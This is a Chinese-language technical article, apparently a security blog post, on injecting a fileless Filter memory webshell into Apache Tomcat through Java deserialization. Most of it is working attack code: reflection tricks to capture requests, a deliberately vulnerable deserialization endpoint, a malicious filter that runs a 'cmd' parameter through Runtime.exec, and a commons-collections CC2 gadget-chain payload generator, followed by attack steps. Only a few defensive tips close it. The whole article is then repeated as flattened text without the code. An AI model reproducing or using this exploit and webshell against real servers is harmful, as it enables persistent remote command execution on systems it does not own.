Tomcat反序列化注入回显内存马
字数 1150 2025-08-24 07:48:22

Tomcat反序列化注入回显内存马技术研究

前言

传统Tomcat内存马技术(如Filter、Listener、Servlet等)存在文件落地问题,因为Web服务器在编译JSP文件时会生成对应的class文件。本文研究的是通过反序列化进行内存马注入,实现真正无文件落地的攻击技术。

回显构造原理

寻找请求变量存储位置

在反序列化环境下无法直接获取request和response变量,需要寻找存储请求信息的变量。研究发现:

org.apache.catalina.core.ApplicationFilterChain
private static final ThreadLocal<ServletRequest> lastServicedRequest;
private static final ThreadLocal<ServletResponse> lastServicedResponse;

这两个变量是静态的,省去了获取对象实例的操作。

变量初始化机制

ApplicationFilterChain#internalDoFilter中发现:

  • WRAP_SAME_OBJECT为true时,请求信息会被存入lastServicedRequestlastServicedResponse
  • 默认WRAP_SAME_OBJECT为false,需要修改其值

反射构造回显实现

关键代码实现

public class getRequest extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
        try {
            // 获取关键字段
            Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher")
                .getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
            
            // 修改static final字段
            setFinalStatic(WRAP_SAME_OBJECT_FIELD);
            setFinalStatic(lastServicedRequestField);
            setFinalStatic(lastServicedResponseField);
            
            // 获取ThreadLocal变量
            ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
            ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
            
            // 执行命令并回显
            String cmd = lastServicedRequest != null ? lastServicedRequest.get().getParameter("cmd") : null;
            if (cmd != null) {
                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                // ...处理输出流...
                lastServicedResponse.get().getWriter().println(outputStream.toString());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    // 修改final字段的工具方法
    public void setFinalStatic(Field field) throws Exception {
        field.setAccessible(true);
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
    }
}

部署配置

web.xml配置:

<servlet>
    <servlet-name>getRequest</servlet-name>
    <servlet-class>memoryshell.UnserShell.getRequest</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>getRequest</servlet-name>
    <url-pattern>/demo</url-pattern>
</servlet-mapping>

执行流程

  1. 第一次访问/demo路径:

    • 将request和response存储到lastServicedRequestlastServicedResponse
    • 修改WRAP_SAME_OBJECT为true
  2. 第二次访问/demo路径:

    • lastServicedRequest获取cmd参数
    • 通过lastServicedResponse输出命令执行结果

反序列化注入实现

环境准备

  1. 添加commons-collections依赖:
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>
  1. 创建反序列化入口:
public class CCServlet extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        String exp = req.getParameter("exp");
        byte[] decode = Base64.getDecoder().decode(exp);
        ObjectInputStream oin = new ObjectInputStream(new ByteArrayInputStream(decode));
        try {
            oin.readObject();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
        resp.getWriter().write("Success");
    }
}

内存马实现

public class FilterShell extends AbstractTranslet implements Filter {
    static {
        try {
            // 1. 反射修改关键字段
            Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher")
                .getDeclaredField("WRAP_SAME_OBJECT");
            // ...同上...
            
            // 2. 获取Servlet上下文
            ServletContext servletContext = servletRequest.getServletContext();
            Field context = servletContext.getClass().getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
            
            // 3. 获取StandardContext
            Field context1 = applicationContext.getClass().getDeclaredField("context");
            context1.setAccessible(true);
            StandardContext standardContext = (StandardContext) context1.get(applicationContext);
            
            // 4. 创建恶意Filter
            Filter filter = new FilterShell();
            
            // 5. 创建并配置FilterDef
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(filter);
            filterDef.setFilterName("Sentiment");
            filterDef.setFilterClass(filter.getClass().getName());
            standardContext.addFilterDef(filterDef);
            
            // 6. 添加到FilterConfigs
            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);
            Constructor constructor = ApplicationFilterConfig.class
                .getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor
                .newInstance(standardContext, filterDef);
            filterConfigs.put("Sentiment", filterConfig);
            
            // 7. 创建FilterMap并设置优先级
            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern("/*");
            filterMap.setFilterName("Sentiment");
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
            standardContext.addFilterMapBefore(filterMap);
            
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
        throws IOException, ServletException {
        if (request.getParameter("cmd") != null) {
            String[] cmds = {"cmd", "/c", request.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            // ...处理输出流...
            response.getWriter().println(outputStream.toString());
        }
    }
    // ...其他必要方法...
}

生成Payload

使用CC2链构造反序列化Payload:

public class cc2 {
    public static void main(String[] args) throws Exception {
        Templates templates = new TemplatesImpl();
        byte[] bytes = getBytes(); // 读取FilterShell.class字节码
        
        // 设置TemplatesImpl必要字段
        setFieldValue(templates, "_name", "Sentiment");
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        
        // 构造CC2链
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        
        // 添加元素触发反序列化
        priorityQueue.add(templates);
        priorityQueue.add(2);
        
        // 反射修改transformer字段
        Field transformField = transformingComparator.getClass().getDeclaredField("transformer");
        transformField.setAccessible(true);
        transformField.set(transformingComparator, invokerTransformer);
        
        // 序列化payload
        serialize(priorityQueue);
    }
}

攻击步骤

  1. 将生成的1.ser文件进行Base64编码
  2. 分两次请求:
    • 第一次:将请求存入lastServicedRequestlastServicedResponse
    • 第二次:通过反序列化动态注册Filter内存马
  3. 注入成功后,通过cmd参数执行命令

技术演进与局限

  1. 早期方法

    • 通过response进行注入
    • 局限:Shiro中自定义了doFilter方法,无法使用
  2. 改进方法

    • 通过currentThread.getContextClassLoader()获取StandardContext
    • 解决了Shiro回显问题
    • 局限:Tomcat7中无法获取StandardContext
  3. 最新研究

    • 对上述方法进行了总结
    • 仍未完全解决Tomcat7的兼容性问题

防御建议

  1. 及时更新Tomcat和相关组件版本
  2. 限制反序列化操作,特别是用户可控的输入
  3. 监控JVM中异常的Filter、Servlet等组件注册
  4. 使用安全产品检测内存马行为
  5. 对关键静态字段进行保护,防止反射修改
Tomcat反序列化注入回显内存马技术研究 前言 传统Tomcat内存马技术(如Filter、Listener、Servlet等)存在文件落地问题,因为Web服务器在编译JSP文件时会生成对应的class文件。本文研究的是通过反序列化进行内存马注入,实现真正无文件落地的攻击技术。 回显构造原理 寻找请求变量存储位置 在反序列化环境下无法直接获取request和response变量,需要寻找存储请求信息的变量。研究发现: 这两个变量是静态的,省去了获取对象实例的操作。 变量初始化机制 在 ApplicationFilterChain#internalDoFilter 中发现: 当 WRAP_SAME_OBJECT 为true时,请求信息会被存入 lastServicedRequest 和 lastServicedResponse 默认 WRAP_SAME_OBJECT 为false,需要修改其值 反射构造回显实现 关键代码实现 部署配置 web.xml配置: 执行流程 第一次访问/demo路径: 将request和response存储到 lastServicedRequest 和 lastServicedResponse 中 修改 WRAP_SAME_OBJECT 为true 第二次访问/demo路径: 从 lastServicedRequest 获取cmd参数 通过 lastServicedResponse 输出命令执行结果 反序列化注入实现 环境准备 添加commons-collections依赖: 创建反序列化入口: 内存马实现 生成Payload 使用CC2链构造反序列化Payload: 攻击步骤 将生成的1.ser文件进行Base64编码 分两次请求: 第一次:将请求存入 lastServicedRequest 和 lastServicedResponse 第二次:通过反序列化动态注册Filter内存马 注入成功后,通过cmd参数执行命令 技术演进与局限 早期方法 : 通过response进行注入 局限:Shiro中自定义了doFilter方法,无法使用 改进方法 : 通过 currentThread.getContextClassLoader() 获取StandardContext 解决了Shiro回显问题 局限:Tomcat7中无法获取StandardContext 最新研究 : 对上述方法进行了总结 仍未完全解决Tomcat7的兼容性问题 防御建议 及时更新Tomcat和相关组件版本 限制反序列化操作,特别是用户可控的输入 监控JVM中异常的Filter、Servlet等组件注册 使用安全产品检测内存马行为 对关键静态字段进行保护,防止反射修改